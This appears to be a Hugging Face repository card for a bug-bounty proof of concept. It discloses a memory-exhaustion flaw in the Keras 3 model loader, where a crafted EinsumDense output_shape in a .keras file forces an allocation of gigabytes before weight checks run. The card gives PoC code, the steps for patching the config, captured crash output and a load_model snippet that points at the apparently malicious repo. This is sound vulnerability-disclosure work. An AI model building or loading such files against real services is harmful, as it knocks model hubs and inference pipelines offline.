Instructions to use EnigmaConsultant/huntr-poc-keras-einsumdense-outputshape-equation-alloc-oom with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Keras
How to use EnigmaConsultant/huntr-poc-keras-einsumdense-outputshape-equation-alloc-oom with Keras:
# Available backend options are: "jax", "torch", "tensorflow". import os os.environ["KERAS_BACKEND"] = "jax" import keras model = keras.saving.load_model("hf://EnigmaConsultant/huntr-poc-keras-einsumdense-outputshape-equation-alloc-oom") - Notebooks
- Google Colab
- Kaggle
YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
Keras 3 .keras loader: attacker-controlled EinsumDense output_shape drives unbounded kernel allocation at build_from_config (CWE-789 DoS/OOM)
Target: keras (Keras 3) β keras.saving.load_model() on a .keras (ZIP) archive
Affected version tested: keras==3.15.0 (numpy backend), Python 3.13.12, numpy 2.5.1, clean venv
Vulnerable file/path: keras/src/layers/core/einsum_dense.py build() + _analyze_einsum_string, reached via keras/src/saving/serialization_lib.py:787
Class: CWE-789 Memory Allocation with Excessive Size Value (uncontrolled resource consumption / DoS-OOM)
safe_mode: no protection β safe_mode=True only guards the __lambda__ deserialization path.
Summary
Loading a crafted .keras model triggers an arbitrarily large host memory allocation before any weight validation runs. Each layer is rebuilt from config.json first; for an EinsumDense layer the kernel shape is computed directly from three attacker-controlled JSON fields (equation, output_shape, and build_config.input_shape) with no upper bound, and add_weight() eagerly materializes that kernel via numpy.random.uniform in float64. A single integer in the JSON scales the allocation without limit. A ~1.7 KB file (benign, unchanged real weights) forces a multi-GB / multi-hundred-GB allocation and process death.
Root cause
During keras.saving.load_model(), serialization_lib.deserialize_keras_object() rebuilds each layer before weights are validated:
# keras/src/saving/serialization_lib.py:787
instance.build_from_config(build_config)
# keras/src/layers/layer.py:491
def build_from_config(self, config):
...
self.build(config["input_shape"])
For EinsumDense, build() computes the kernel shape from attacker-controlled config and immediately allocates it:
# keras/src/layers/core/einsum_dense.py (build, ~180-212)
kernel_shape, bias_shape, full_output_shape = _analyze_einsum_string(
self.equation, # attacker-controlled: config 'equation'
self.bias_axes,
input_shape, # attacker-controlled: build_config 'input_shape'
self.partial_output_shape, # attacker-controlled: config 'output_shape'
)
...
self._kernel = self.add_weight(
name="kernel",
shape=tuple(kernel_shape), # unbounded
initializer=self.kernel_initializer, # GlorotUniform
...
)
add_weight -> GlorotUniform.__call__ -> random.uniform eagerly materializes the array:
# keras/src/backend/numpy/random.py:23
return rng.uniform(size=shape, low=minval, high=maxval).astype(dtype) # float64
_analyze_einsum_string maps output_shape (partial_output_shape) straight onto the free kernel dimensions, so a single integer in the JSON linearly scales the kernel size with no ceiling. The allocation happens before the later weight-shape/weight-count mismatch check that would otherwise reject the (unchanged, tiny) model.weights.h5.
Attack surface / trigger
Only config.json inside the .keras ZIP is modified β the benign model.weights.h5 (~13 KB, valid weights) is left untouched. Patched fields on the EinsumDense entry:
config.output_shapeβ e.g.[20000000]or[2000000000]- (optionally)
build_config.input_shapeandconfig.equation
The resulting evil archive is 1716 bytes and still passes ZIP/format parsing; the OOM occurs during layer build, long before weight validation.
PoC
Built a legitimate 1-layer model and patched only config.json:
import keras
inp = keras.Input(shape=(8,))
out = keras.layers.EinsumDense("ab,bc->ac", output_shape=(4,), bias_axes="c")(inp)
keras.Model(inp, out).save("benign.keras") # 13.7 KB, valid weights
Then, without touching the weights, set the EinsumDense output_shape field in config.json to a large integer and rezip (patch_load.py / huge.py). Loading with keras.saving.load_model(path, compile=False).
- NEGATIVE CONTROL β original
output_shape=[4]:load_modelsucceeds, Python-traced peak ~202 KB. - MID β
output_shape=[20000000]-> 1716-byte file:load_modeldrives process RSS from 207.6 MB to 2039.0 MB (DELTA +1831 MB / ~1.8 GB), allocating an(8, 20000000)float64 kernel duringbuild_from_config, then fails only afterward on the weight-count check β proving the alloc precedes weight validation. - HUGE β
output_shape=[2000000000]-> same 1716-byte file:load_modelattempts a single(8, 2000000000)float64 kernel and dies withnumpy._core._exceptions._ArrayMemoryError: Unable to allocate 119. GiB.
Captured evidence (verbatim)
=== NEGATIVE CONTROL (benign output_shape=4) ===
NEGATIVE CONTROL (benign output_shape=4):
('OK', 202351) # loads fine, Python-traced peak ~202 KB
=== MID: output_shape=20,000,000 ===
file size bytes: 1716
RSS before load MB: 207.6
EXC ValueError: A total of 1 objects could not be loaded. ... Layer 'ed' expected 2 variables, but re...
RSS after MB: 2039.0 DELTA 1831.4 # ~1.8 GB allocated from a 1.7 KB file, BEFORE the weight-count check fires
=== HUGE: output_shape=2,000,000,000 === (fresh re-run, keras 3.15.0 / py3.13.12 / numpy 2.5.1)
File ".../keras/src/saving/serialization_lib.py", line 787, in deserialize_keras_object
instance.build_from_config(build_config)
File ".../keras/src/layers/layer.py", line 491, in build_from_config
self.build(config["input_shape"])
File ".../keras/src/layers/core/einsum_dense.py", line 212, in build
self._kernel = self.add_weight(
File ".../keras/src/backend/common/variables.py", line 210, in __init__
self._initialize_with_initializer(initializer)
File ".../keras/src/backend/common/variables.py", line 418, in _initialize_with_initializer
initializer(self._shape, dtype=self._dtype)
File ".../keras/src/initializers/random_initializers.py", line 316, in __call__
return random.uniform(
File ".../keras/src/backend/numpy/random.py", line 23, in uniform
return rng.uniform(size=shape, low=minval, high=maxval).astype(dtype)
numpy._core._exceptions._ArrayMemoryError: Unable to allocate 119. GiB for an array with shape (8, 2000000000) and data type float64
evil_huge size: 1716
Impact
A ~1.7 KB .keras file loaded by an unsuspecting victim (model hubs, CI pipelines, inference services that call load_model on untrusted uploads) forces an unbounded host allocation, causing OOM / process kill / node DoS. No code execution required and safe_mode=True provides no protection.
Suggested fix
Bound kernel dimensions derived from config before allocation (validate output_shape / input_shape / resulting kernel_shape against a sane cap), and/or defer eager weight materialization until after weight-shape validation so a config-only mismatch is rejected before any large allocation.
Dedup notes
Distinct layer and code path from previously reported Keras allocation findings (Dense units, Embedding input_dim, MHA num_heads/key_dim, RNN units, Conv2D filters, DepthwiseConv depth_multiplier, AUC num_thresholds, IoU num_classes, __numpy__ dtype, config-json bomb, legacy-h5 variants). This finding is keras/src/layers/core/einsum_dense.py build() + _analyze_einsum_string, driven by the equation + output_shape config fields. MultiHeadAttention internally uses EinsumDense, but the MHA finding covers num_heads/key_dim on the MultiHeadAttention layer β a different config surface β not the standalone EinsumDense layer's output_shape/equation knobs. HF dedup: no prior EinsumDense repo exists under EnigmaConsultant (the only einsum repo is huntr-poc-onnx-einsum-ellipsis-oob, which is ONNX and unrelated).
- Downloads last month
- -